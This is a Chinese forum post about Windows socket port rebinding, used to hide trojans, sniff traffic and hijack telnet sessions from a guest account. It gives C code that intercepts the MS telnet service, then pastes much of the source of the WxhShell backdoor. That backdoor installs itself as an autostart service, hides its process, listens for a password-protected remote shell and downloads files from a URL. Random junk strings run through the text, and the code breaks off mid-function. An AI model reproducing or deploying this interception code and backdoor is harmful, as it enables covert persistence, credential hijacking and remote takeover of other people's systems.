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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?@UAL .y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _tj&Psp  
[5Y<7DS  
  saddr.sin_family = AF_INET; ^~l  $&~  
frqJN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?/d!R]3  
&Rp"rMeW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^,V[nfQR  
KzVTkDn,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #C\4/g? =,  
a)9rs\Is{  
  这意味着什么?意味着可以进行如下的攻击: `^##b6jH  
JD~aUB%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a+?~;.i~  
c3k|G<C2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (vQ+e  
ut5yf$%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z;b+>2oL  
-3hCiKq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (~()RkT  
9$ O@`P\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PayV,8   
=!,Gst_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SxMj,u%X/  
\##`pa(8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >. LKct*5K  
9Nt3Z >d  
  #include Fu)Th|5GZ  
  #include eb!_ie"D  
  #include 7ZFJexN]  
  #include    z{?4*Bq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v8@eW.I1  
  int main() z[&s5"  
  { nyhMnp#<  
  WORD wVersionRequested; }<[Db}?9  
  DWORD ret; LSkk;)'2K  
  WSADATA wsaData; x / XkD]Hq  
  BOOL val; 77Q}=80GU;  
  SOCKADDR_IN saddr; 8/Rm!.8+~  
  SOCKADDR_IN scaddr; h~miP7,c<u  
  int err; 'sU)|W(3U  
  SOCKET s; O&$0&dhc  
  SOCKET sc; /iC_!nu  
  int caddsize; 6Rz[?-mkLO  
  HANDLE mt; FH\CK  
  DWORD tid;   DO^y;y>  
  wVersionRequested = MAKEWORD( 2, 2 ); NWKi ()nA%  
  err = WSAStartup( wVersionRequested, &wsaData ); D ,M@8 h,  
  if ( err != 0 ) { +hH}h?K  
  printf("error!WSAStartup failed!\n"); jXR16|  
  return -1; E`AYee%l  
  } l3J$md|f  
  saddr.sin_family = AF_INET; m6U8)!)T  
   0I zZKRw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gq4 . d  
dDlG!F_=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qrDcL>Hrn  
  saddr.sin_port = htons(23); 7/>a:02  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n,nisS  
  { D/s?i[lb  
  printf("error!socket failed!\n"); _4R,Ej}  
  return -1; 4<}A]BQVkJ  
  } j=j+Nf$  
  val = TRUE; v*r9j8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oVkr3K Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cU+>|'f &  
  { ( V4G<-jG  
  printf("error!setsockopt failed!\n"); (6k>FSpg  
  return -1; X47Ol  
  } >&hX&,hG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pULsGb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e2Jp'93o'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Taasi` k  
{!=2<-Aq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,so4Lb(vG  
  { jo0Pd_W8&  
  ret=GetLastError(); v3^t/[e~:  
  printf("error!bind failed!\n"); evOb  
  return -1; fuyl/bx}  
  } FpdHnu i1  
  listen(s,2); *<k&#D"m  
  while(1) a#QBy P  
  { 1S*P"8N}0h  
  caddsize = sizeof(scaddr); wOcg4HlW  
  //接受连接请求 g7Z9F[d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Wp4K6x  
  if(sc!=INVALID_SOCKET)  UTX](:TC  
  { Tc_do"uU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `,Zb2"  
  if(mt==NULL) oCA(FQ6  
  { %uuH^A  
  printf("Thread Creat Failed!\n"); )* 3bkKVB  
  break; N 8}lt  
  } GZ"/k<~0  
  } ue9h   
  CloseHandle(mt); lh$CWsx  
  } o=mo/N4  
  closesocket(s); 2Oi'E  
  WSACleanup(); LP?P=c  
  return 0; l0#4Fma  
  }   GBr,LN  
  DWORD WINAPI ClientThread(LPVOID lpParam) Yj3*)k  
  { %`oHemSy  
  SOCKET ss = (SOCKET)lpParam; Nm"<!a<F  
  SOCKET sc; ['t8C  
  unsigned char buf[4096]; @T/qd>T o  
  SOCKADDR_IN saddr; (HJ$lxk<2h  
  long num; mR,O0O}&  
  DWORD val; a7 =YG6[  
  DWORD ret; QES^^PQe:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8~qlLa>jc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %r P !  
  saddr.sin_family = AF_INET;  z \^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1x;@~yU  
  saddr.sin_port = htons(23); OF-WUa4t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pv[ykrm/  
  { "?[7#d])  
  printf("error!socket failed!\n"); UeNF^6sWu0  
  return -1; lfgtcR{l5  
  } SlN"(nq  
  val = 100; L,W:,i/C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UI_v3c3b  
  { jf8w7T  
  ret = GetLastError(); [brkx3h  
  return -1; =t HD 4I  
  } 2;h+;G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jVs(x  
  { @x*.5:[  
  ret = GetLastError(); w#rVSSXQ3  
  return -1; g kn)V~ij  
  } s*eyTm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;8uHRcdQ  
  { <ipWMZae0F  
  printf("error!socket connect failed!\n"); r\B"?oqC  
  closesocket(sc); wZ O@J|  
  closesocket(ss); w7r'SCVh3+  
  return -1; $q^O%(  
  } C&e8a9*,(a  
  while(1) w~p4S+k&  
  { B9AbKK$`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PQi }Evxa  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ps "9;4P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y&h~Oa?,;  
  num = recv(ss,buf,4096,0); g4i #1V=  
  if(num>0) =m7CJc  
  send(sc,buf,num,0); u6f4yQ  
  else if(num==0) eXc[3ceUr  
  break; /8:gVXZi  
  num = recv(sc,buf,4096,0); sFCf\y  
  if(num>0) .a5X*M]  
  send(ss,buf,num,0); [@x  
  else if(num==0) a!&bc8J7  
  break; 1+S g"?8  
  } 1]HHe*'Z  
  closesocket(ss); z_'dRw  
  closesocket(sc); *u58l(&`8  
  return 0 ;  I.UjST  
  } 8 qn{  
HhzkMJR8  
=7#u+*Yr9  
========================================================== K6ciqwUO  
i[mC3ghM6,  
下边附上一个代码,,WXhSHELL $3lt{ %  
9fCiLlI  
========================================================== c]S+70!n  
QziN]  
#include "stdafx.h" er#8D6*  
@T9m}+fR  
#include <stdio.h> o7m99(  
#include <string.h> <yis  
#include <windows.h> P)a("XnJ`  
#include <winsock2.h> E {I)LdAqK  
#include <winsvc.h> CX1L(Y[  
#include <urlmon.h> |~7+/VvI+  
>hHJ:5y  
#pragma comment (lib, "Ws2_32.lib") Z83q-  
#pragma comment (lib, "urlmon.lib") oH!$eAU?  
0*/mc96  
#define MAX_USER   100 // 最大客户端连接数 .CIbpV?T  
#define BUF_SOCK   200 // sock buffer F<6KaZ|  
#define KEY_BUFF   255 // 输入 buffer !%SdTaC{T  
hNu>s  
#define REBOOT     0   // 重启 ">0/>>Ry  
#define SHUTDOWN   1   // 关机 D#vn {^c8O  
jKY Aid{-  
#define DEF_PORT   5000 // 监听端口 +G3nn!g l4  
gJ)h9e*m^  
#define REG_LEN     16   // 注册表键长度 [ZL r:2+z  
#define SVC_LEN     80   // NT服务名长度 D=5t=4^H(  
3Hb .Z LE#  
// 从dll定义API J4Q)`Y\~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ];d5X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bc0)'a\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |!jYv'%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?3B t ;<^  
nzQYn  
// wxhshell配置信息 zm;*:]S  
struct WSCFG { ims=-1,  
  int ws_port;         // 监听端口 [9YlLL@  
  char ws_passstr[REG_LEN]; // 口令 Skr\a\ J  
  int ws_autoins;       // 安装标记, 1=yes 0=no wB1-|= K1  
  char ws_regname[REG_LEN]; // 注册表键名 hy!'Q>[`  
  char ws_svcname[REG_LEN]; // 服务名 )<]w23i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -Y 6.?z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V,|Bzcz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M&}oat*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (> +k3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xn ZX *Y]"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 61s2bt#  
\M'bY:  
}; k^'d@1z;C  
ziB]S@U  
// default Wxhshell configuration vP87{J*DE1  
struct WSCFG wscfg={DEF_PORT, 0T{c:m~QXe  
    "xuhuanlingzhe", ()3x%3   
    1, vxzf[  
    "Wxhshell", WO+?gu  
    "Wxhshell", SG+i\yu$h0  
            "WxhShell Service", K,L>  
    "Wrsky Windows CmdShell Service", ~H yyq-  
    "Please Input Your Password: ", \0^rJ1*  
  1, ;f ;*Q>!  
  "http://www.wrsky.com/wxhshell.exe", D"( 3VIglq  
  "Wxhshell.exe" Fy(nu-W  
    }; &=6cz$]z  
)kY _"= d  
// 消息定义模块 Fgc:6<MGM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v{rK_jq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [WO%rO^p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ae{4AZ  
char *msg_ws_ext="\n\rExit."; #iqhm,u7D  
char *msg_ws_end="\n\rQuit."; "e7$q&R |  
char *msg_ws_boot="\n\rReboot..."; 0@mX4.!  
char *msg_ws_poff="\n\rShutdown..."; 4f*Ua`E_  
char *msg_ws_down="\n\rSave to "; `S/1U87  
Cf1wM:K|8  
char *msg_ws_err="\n\rErr!"; l^eNZ3:H  
char *msg_ws_ok="\n\rOK!"; ]R0A{+]n  
xP/1@6]_Je  
char ExeFile[MAX_PATH]; )Fr;'JYC1S  
int nUser = 0; Mb 2 L32  
HANDLE handles[MAX_USER]; 3f2Hjk7,d  
int OsIsNt; /%q9hI   
a$! {Tob2  
SERVICE_STATUS       serviceStatus; =|JIY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LX?r=_\  
://# %SE  
// 函数声明 gjN!_^ _  
int Install(void); GqD!W8+  
int Uninstall(void); Jx ;"a\KD  
int DownloadFile(char *sURL, SOCKET wsh); ]pP2c[;  
int Boot(int flag); _Il9s#NA%  
void HideProc(void); $J0~2TV<  
int GetOsVer(void); uj1E* 98m  
int Wxhshell(SOCKET wsl); *=0r>]  
void TalkWithClient(void *cs); _} 9R}  
int CmdShell(SOCKET sock); +=H>s;B  
int StartFromService(void); Q|H cg|  
int StartWxhshell(LPSTR lpCmdLine); q {+poV X  
I~ ]mX;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aE cg_es  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]GR q  
?*mbce[  
// 数据结构和表定义 "oXAIfU#T  
SERVICE_TABLE_ENTRY DispatchTable[] = WAmoKZw2  
{ >h( rd1  
{wscfg.ws_svcname, NTServiceMain}, t7+Ic  
{NULL, NULL} KeHE\Fq^V  
}; n@,eZ!  
xA'#JN<*  
// 自我安装 <H@!Xw;  
int Install(void) GhQ`{iJM  
{ V;]VwsZ"  
  char svExeFile[MAX_PATH]; mL5f_Fb+  
  HKEY key; ` "":   
  strcpy(svExeFile,ExeFile); .:!x*v  
%c/"A8{eb  
// 如果是win9x系统,修改注册表设为自启动 dB/I2uGl>  
if(!OsIsNt) { 54cgX)E[x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uWtS83i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m9w ; a  
  RegCloseKey(key); Bo\v-97  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UMW^0>Z!v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /~huTKA}  
  RegCloseKey(key); 7:q-NzE\6  
  return 0; x2c*k$<p  
    } gL"Q.ybA  
  } 1gej$G@  
} Ns8NaD  
else { f_2^PF>?  
c O>:n  
// 如果是NT以上系统,安装为系统服务 = d.W'q|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Dx*oSP.qX  
if (schSCManager!=0) 'c(Y")QP  
{ ,5uDEXpt{  
  SC_HANDLE schService = CreateService ,,wx197XeD  
  ( Nh/ArugP5P  
  schSCManager, f|1FqL+T]  
  wscfg.ws_svcname, Dohe(\C@  
  wscfg.ws_svcdisp, *<QL[qyV  
  SERVICE_ALL_ACCESS, p&doQh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sc>)X{eb  
  SERVICE_AUTO_START, &?sjeC_  
  SERVICE_ERROR_NORMAL, zb,`K*Z{  
  svExeFile, J&1N8Wk)  
  NULL, 4GA-dtyV&  
  NULL, y+R$pzX  
  NULL, 3edK$B51;  
  NULL, ys6"Q[B  
  NULL &Sp:?I-  
  ); 58U[r)/  
  if (schService!=0) oD1=}  
  { ]r5Xp#q2  
  CloseServiceHandle(schService); HV(*6b@  
  CloseServiceHandle(schSCManager); L2N/DB'{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %<klz)!t  
  strcat(svExeFile,wscfg.ws_svcname); 4%p vw;r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g8C+j6uR0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f%af.cR*  
  RegCloseKey(key); I4$a#;  
  return 0; _LK(j;6K}  
    } `CV a`%  
  } n\QG-?%Pi  
  CloseServiceHandle(schSCManager); ,70|I{,Km  
} @!-= :<h  
} nV<YwqK  
L6FUC6x"  
return 1; sU>*S$X8  
} hZy"@y3Yq  
C][`Dk\D{  
// 自我卸载 jE{z4en  
int Uninstall(void) 5d)G30  
{ *I~F7Z]|  
  HKEY key; u5lj+?  
:ZUy(8%Wl  
if(!OsIsNt) {  tW,<Pe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7BC9cS(0w9  
  RegDeleteValue(key,wscfg.ws_regname); P<bA~%<7"[  
  RegCloseKey(key); C'{Z?M>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k&Sg`'LG8  
  RegDeleteValue(key,wscfg.ws_regname); iVFn t!  
  RegCloseKey(key); 2 `#|;x^<  
  return 0; Y }0-&  
  } XOxm<3gXn  
} NoMEe<  
} ?)9 6YX'  
else { i22R3&C  
<)M?qkjb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /OViqZ;9  
if (schSCManager!=0) qoEOM%dAqV  
{ }!2|*Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xa K:@/  
  if (schService!=0) r!(~Y A  
  { -QRKDp  
  if(DeleteService(schService)!=0) { Jg7IGU(dct  
  CloseServiceHandle(schService); P afmHXx  
  CloseServiceHandle(schSCManager); r8@:Ko= a  
  return 0; 7%aB>uA  
  } 7bTs+C_;7  
  CloseServiceHandle(schService); A M# '(k(  
  } 0^hz1\g  
  CloseServiceHandle(schSCManager); @~zhAU!  
} *@n%K,$v  
} a-hF/~84S:  
b+hZ<U/  
return 1; nPKf~|\1{  
} _c`Gxt%  
MYLq2g\  
// 从指定url下载文件 puDy&T  
int DownloadFile(char *sURL, SOCKET wsh) W(EU*~<UC  
{ j'~xe3j  
  HRESULT hr; N-lXC"{)  
char seps[]= "/"; )5bhyzSZI  
char *token; jo+T!CUM'  
char *file; ^M8\ 3G  
char myURL[MAX_PATH]; Pf]L`haGN  
char myFILE[MAX_PATH]; w!%Bc]  
,OG sx  
strcpy(myURL,sURL); Yr"G)i~"Y  
  token=strtok(myURL,seps); h}.0Ne  
  while(token!=NULL) &EZ28k"x  
  { /SSl$  
    file=token;  _8t{4C  
  token=strtok(NULL,seps); H!HkXm"  
  } 3xbA]u;gp  
ZCV&v47\p_  
GetCurrentDirectory(MAX_PATH,myFILE); i yMIP~N,$  
strcat(myFILE, "\\"); pM.>u/=X  
strcat(myFILE, file); KK/~W  
  send(wsh,myFILE,strlen(myFILE),0); X`[or:cB  
send(wsh,"...",3,0); jg' 'T1)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bz]j&`  
  if(hr==S_OK) 9tqX77UK  
return 0; q>f1V3  
else s:,BcVLx^  
return 1; |G!-FmIK  
kznmA`#jn  
} Ez+.tbEA,  
pv;}Sv$ ]-  
// 系统电源模块 @/yef3  
int Boot(int flag) 8.F]&D0p8  
{ x~Y]c"'D  
  HANDLE hToken; Q(>89*b&  
  TOKEN_PRIVILEGES tkp; "=N[g  
@'jC>BS8`  
  if(OsIsNt) { z'XFwk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >@` D@_v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WR%x4\,d#  
    tkp.PrivilegeCount = 1; `gSqwN<x%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7J.alV4`/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l0l2fwz(  
if(flag==REBOOT) { 1s"6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rq:R6e  
  return 0; oX8e}  
} R^{Ow  
else { v=RQ"iv8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uF/l,[0v  
  return 0; uwU;glT  
} +Gg6h=u  
  } 7 &DhEI ^  
  else { (ylpH`  
if(flag==REBOOT) { .q"`)PT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gn>#Mvq  
  return 0; tl !o;`W  
} >T'^&l(:  
else { q$Gf9&ZO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oQ{(7.e7)  
  return 0; lb{<}1YR0o  
} `%SFu  
} 2WE_NEpJI  
}lvD 5  
return 1; %3M1zZY  
} / q*n*j  
4 Z.G  
// win9x进程隐藏模块 Y_ b;1RN  
void HideProc(void) NifzZEX  
{ mR\rK&'6  
hN=YC\l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qv>?xKSm  
  if ( hKernel != NULL ) 7A@]t_83Y  
  { .KSPr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); # xx{}g]%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A%qlB[!:  
    FreeLibrary(hKernel); z~i=\/~tZ  
  } jq#uBU %  
//9Ro"  
return; + KGZk?%  
} yqi=9NB  
"ph&hd}S  
// 获取操作系统版本 \D}K{P  
int GetOsVer(void) >G(M&  
{ Y??8P  
  OSVERSIONINFO winfo; vs]#?3+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k`[ L  
  GetVersionEx(&winfo); HIM>%   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X2^`Znq9  
  return 1; A14}  
  else %P05k  
  return 0; = zJY5@^'7  
} $Pv;>fHu  
A& u"NgJ  
// 客户端句柄模块 ;[9WB<t  
int Wxhshell(SOCKET wsl) 7v\K,P8  
{ Q%:#xG5AmE  
  SOCKET wsh; \@6P A  
  struct sockaddr_in client; OJ0Dw*K<  
  DWORD myID; }$EcNm$%  
H=Sy.  
  while(nUser<MAX_USER) N&ZIsaK,j  
{ q):Ph&'r  
  int nSize=sizeof(client); AWSe!\b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Byq4PX%B  
  if(wsh==INVALID_SOCKET) return 1; /4w"akB|P  
^D` ARH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e}e|??'(\  
if(handles[nUser]==0) :{2exu  
  closesocket(wsh); aI @&x  
else cEzWIS?pp\  
  nUser++; &d/v/Y  
  } j n[%@zD}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m#y?k1GY  
QI\&D)  
  return 0; v"x{oD$R  
} qgTN %%"~  
+Ja9p  
// 关闭 socket  =FZt  
void CloseIt(SOCKET wsh) ZLK@x.=  
{ h ]'VAt  
closesocket(wsh); f?xc-lX5R  
nUser--; Sw!/ I PO  
ExitThread(0); eO<:X|9T  
} 8'c_&\kdv  
#)im9LLC#  
// 客户端请求句柄 SVvR]T&_  
void TalkWithClient(void *cs) 4.@gV/U(|  
{ e*[M*u  
jU K0?S>  
  SOCKET wsh=(SOCKET)cs; 6fxf|R\  
  char pwd[SVC_LEN]; ,]ALyWGuX  
  char cmd[KEY_BUFF]; 0:<dj:%M  
char chr[1]; ep]tio_  
int i,j; Q{9#Am^6w  
"+^d.13+]  
  while (nUser < MAX_USER) { C+/D!ZH%P  
gwFHp .mE  
if(wscfg.ws_passstr) { wr\d5j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <&&xt ?I.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cB5|% @$I  
  //ZeroMemory(pwd,KEY_BUFF); >icK]W  
      i=0; 'IrwlS  
  while(i<SVC_LEN) { 23a&m04Rk  
I<Vh Eo,  
  // 设置超时 J?Kgev%  
  fd_set FdRead; ;D5B$ @W>  
  struct timeval TimeOut; LGb.>O^  
  FD_ZERO(&FdRead); /?b<}am  
  FD_SET(wsh,&FdRead); ^FLuhLS\*  
  TimeOut.tv_sec=8; (0%0+vY  
  TimeOut.tv_usec=0; L@rKG~{Xy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %;,D:Tv=&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ; *G[3kk  
maANxSzi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jt4T)c9  
  pwd=chr[0]; |q$br-0+  
  if(chr[0]==0xd || chr[0]==0xa) { 7QiJ1P.z  
  pwd=0; "yMr\jt~-  
  break; _tE$a3`  
  } NJ-cP m  
  i++; fT.5@RR7^  
    } =dbLA ,z9  
rn1FCJ<;H  
  // 如果是非法用户,关闭 socket "HR &Rf k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m{gK<T  
} gM|X":j  
`nM Huv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1 sCF -r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LQYT/  
g5TXs^g  
while(1) { 8<u_ wt@  
.ao'o,|vE  
  ZeroMemory(cmd,KEY_BUFF); Xmy(pV!PF  
ih1s`CjG  
      // 自动支持客户端 telnet标准   ^r=#HQGt  
  j=0; x U1dy*-  
  while(j<KEY_BUFF) { 6YT*=\KT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v F L{j  
  cmd[j]=chr[0]; 57+^T}/>  
  if(chr[0]==0xa || chr[0]==0xd) { Y VTY{>Q  
  cmd[j]=0; Zl"h-~31  
  break; zqYfgV  
  } e*vSGT$KgL  
  j++; yo V"?W>!  
    } NVFAmX.Z:  
<2y~7h:  
  // 下载文件 ^~MHxF5d  
  if(strstr(cmd,"http://")) { e,I-u'mLQs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -GP+e`d  
  if(DownloadFile(cmd,wsh)) =fBJQK2sk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s4SR6hBO  
  else u ` 9Eh;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T4Z("  
  } ~;m~)D  
  else { r3ZY` zf  
=KT7ZSTV  
    switch(cmd[0]) { OR&+`P"-\  
  V0JoUyZ  
  // 帮助 @]*z!>1  
  case '?': {  wb4 4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V6wYJ$]  
    break; vWfC!k-)b  
  } iO#H_&L.p  
  // 安装 /[nt=#+   
  case 'i': { GLc+`,.  
    if(Install()) f{ S)wE>;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pfAp2"  
    else 40%p lNPj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? dSrY  
    break; &$hfAG]"  
    } f$V']dOj1q  
  // 卸载 6mdJ =b#  
  case 'r': { e%'9oAz  
    if(Uninstall()) ,\}V.:THF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QS=n 50T,  
    else 0]>p|m9K^<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L/nz95  
    break; P'ZWAxd  
    } z=)5M*h  
  // 显示 wxhshell 所在路径 GUat~[lUrj  
  case 'p': { [zf9UUc~  
    char svExeFile[MAX_PATH]; S2jo@bp!  
    strcpy(svExeFile,"\n\r"); x6Z$lhZ  
      strcat(svExeFile,ExeFile); MzK&Jh  
        send(wsh,svExeFile,strlen(svExeFile),0); z8z U3?  
    break; -]'Sy$,A  
    } 5W<BEcV\  
  // 重启 yJb;V#  
  case 'b': { W97Ka}Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mg >oB/,'Z  
    if(Boot(REBOOT)) fXL>L   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vgE5(fJh  
    else { -JwH^*Ad  
    closesocket(wsh); |Ca$>]?  
    ExitThread(0); ~q|^z[7  
    } miN(a; Q2P  
    break; $ HUCp9  
    } TS3 00F  
  // 关机 NmtBn^ t  
  case 'd': { Pi*,&D>{7  
